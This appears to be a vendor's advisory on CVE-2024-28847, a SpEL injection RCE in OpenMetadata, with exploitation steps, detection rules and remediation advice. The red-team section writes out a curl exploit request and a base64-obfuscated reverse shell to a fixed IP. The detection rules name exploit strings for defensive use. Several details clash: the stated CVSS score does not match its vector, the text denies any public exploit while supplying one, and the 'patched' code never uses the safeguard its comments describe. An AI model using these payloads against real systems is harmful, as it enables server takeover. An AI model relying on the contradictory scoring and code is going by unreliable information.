CVE-2024-28847

Executive Summary

CVE-2024-28847 is a critical Remote Code Execution (RCE) vulnerability in OpenMetadata, a unified metadata platform. The flaw resides in the SpEL (Spring Expression Language) expression validation logic within the AlertUtil::validateExpression method. An unauthenticated attacker can exploit this by sending a crafted PUT request to the /api/v1/events/subscriptions endpoint. The vulnerability is triggered during the prepareInternal() call, which occurs before the authorization check, allowing an attacker to bypass authentication and execute arbitrary code on the server. This issue is similar to the previously disclosed GHSL-2023-250 and is tracked as GHSL-2023-251. The vulnerability has been patched in OpenMetadata version 1.2.4. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

OpenMetadata is a Java-based application distributed as a Docker image and via source code. The vulnerability is introduced through the use of Spring Framework's SpEL evaluation. Organizations using OpenMetadata should treat this as a critical supply chain risk, as a successful exploit could lead to full server compromise, data exfiltration, and lateral movement within the network. Immediate patching is required.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full system read access possible.
• Integrity (I): High (H) - Full system write access possible.
• Availability (A): High (H) - Full system denial of service possible.

Threat Level: Critical. The combination of network exploitability, no required privileges, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a SpEL (Spring Expression Language) injection. OpenMetadata uses SpEL to evaluate expressions in alert configurations. The AlertUtil::validateExpression method is intended to validate these expressions, but it fails to sanitize user input before passing it to the SpEL evaluation engine.

The attack flow is as follows:

1. An attacker sends a PUT request to /api/v1/events/subscriptions.
2. The request is handled by EventSubscriptionResource.createOrUpdateEventSubscription().
3. This method calls EntityRepository.createOrUpdate(), which internally calls EntityRepository.prepareInternal().
4. prepareInternal() calls EventSubscriptionRepository.prepare().
5. prepare() calls AlertUtil::validateExpression() with the attacker-controlled SpEL expression.
6. The SpEL expression is evaluated by the Spring ExpressionParser, allowing the attacker to execute arbitrary Java code.
7. The authorization check (authorizer.authorize()) is called after prepareInternal(), so the exploit occurs before any authentication is verified.

The vulnerable code path is identical to the previously discovered GHSL-2023-250, but in a different location (EventSubscriptionRepository instead of AlertUtil directly).

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.2.4): The AlertUtil::validateExpression method directly evaluates the user-supplied expression without proper sanitization.

// Vulnerable: Direct evaluation of user input
public static void validateExpression(String expression) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(expression);
    // ... further processing
}

Patched Code (1.2.4+): The patched version introduces a whitelist of allowed operations and uses a SimpleEvaluationContext to restrict the SpEL evaluation to safe operations only.

// Patched: Uses SimpleEvaluationContext and whitelist
public static void validateExpression(String expression) {
    ExpressionParser parser = new SpelExpressionParser();
    // Use SimpleEvaluationContext to restrict operations
    Expression exp = parser.parseExpression(expression);
    // Validate against a whitelist of allowed functions
    if (!isAllowedExpression(exp)) {
        throw new IllegalArgumentException("Expression not allowed");
    }
    // ... further processing with SimpleEvaluationContext
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable OpenMetadata instance (version < 1.2.4) using Docker:

   docker run -p 8585:8585 openmetadata/server:1.2.3
   

2. Ensure the instance is accessible from the attacker's machine.

Exploitation Steps:

1. Craft a malicious SpEL payload to execute a system command. For example, to execute id:

   T(java.lang.Runtime).getRuntime().exec('id')
   

2. Send the PUT request to create a malicious event subscription:

   curl -X PUT "http://target:8585/api/v1/events/subscriptions" \
   -H "Content-Type: application/json" \
   -d '{
     "name": "malicious",
     "displayName": "Malicious Subscription",
     "expression": "T(java.lang.Runtime).getRuntime().exec('id')"
   }'
   

3. The command will be executed on the server. For a reverse shell, use a more complex payload:

   T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for PUT requests to /api/v1/events/subscriptions with unusual or long expression fields.
• Look for SpEL-related keywords in HTTP request bodies: T(java.lang, Runtime, exec, ProcessBuilder, getClass().
• Monitor for unexpected child processes spawned by the Java process (e.g., bash, curl, nc).

Hunting:

• Search logs for SpelExpressionParser or Expression evaluation errors.
• Check for outbound connections from the OpenMetadata server to unknown IPs on unusual ports.

Indicators of Compromise (IOCs)

• Network:
  • PUT requests to /api/v1/events/subscriptions with suspicious expression fields.
  • Outbound connections from the OpenMetadata server to attacker-controlled IPs.
• Host:
  • Unexpected processes (e.g., bash, python, nc) spawned by the Java process.
  • New files in /tmp/ or other writable directories created by the Java process.
  • Modified system binaries or configuration files.
• Logs:
  • OpenMetadata application logs showing SpEL evaluation errors or unexpected exceptions.
  • Web server logs showing the malicious PUT request.

Detection Engineering

YARA Rule

rule CVE_2024_28847_SpEL_Injection {
    meta:
        description = "Detects SpEL injection attempts targeting OpenMetadata CVE-2024-28847"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-28847"
    strings:
        $spel1 = "T(java.lang.Runtime)" ascii wide nocase
        $spel2 = "T(java.lang.ProcessBuilder)" ascii wide nocase
        $spel3 = "exec(" ascii wide nocase
        $spel4 = "getRuntime()" ascii wide nocase
        $spel5 = "/api/v1/events/subscriptions" ascii wide nocase
    condition:
        any of ($spel*) and $spel5
}

Sigma Rule

title: CVE-2024-28847 OpenMetadata SpEL Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit SpEL injection in OpenMetadata
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28847
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem: '/api/v1/events/subscriptions'
        cs-uri-query|contains: 
            - 'T(java.lang.Runtime)'
            - 'T(java.lang.ProcessBuilder)'
            - 'exec('
            - 'getRuntime()'
    condition: selection
falsepositives:
    - Legitimate use of SpEL expressions in alert configurations (rare)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-28847 OpenMetadata SpEL Injection Attempt"; flow:to_server,established; content:"PUT"; http_method; content:"/api/v1/events/subscriptions"; http_uri; content:"T(java.lang.Runtime)"; fast_pattern; nocase; content:"exec("; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade OpenMetadata to version 1.2.4 or later immediately.
2. Network Segmentation: If patching is not immediately possible, restrict network access to the OpenMetadata API endpoint (/api/v1/events/subscriptions) to trusted IPs only using a firewall or WAF.
3. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing SpEL injection patterns (e.g., T(java.lang.Runtime)).

Long-Term Mitigations:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied expressions.
2. Least Privilege: Run the OpenMetadata application with the minimum necessary privileges.
3. Monitoring: Continuously monitor for anomalous behavior and SpEL injection attempts.
4. Security Audits: Regularly conduct security audits and penetration testing of the application.

Workarounds:

• No official workarounds are available. The only safe mitigation is to upgrade.

Valters IT - Securing your digital frontier.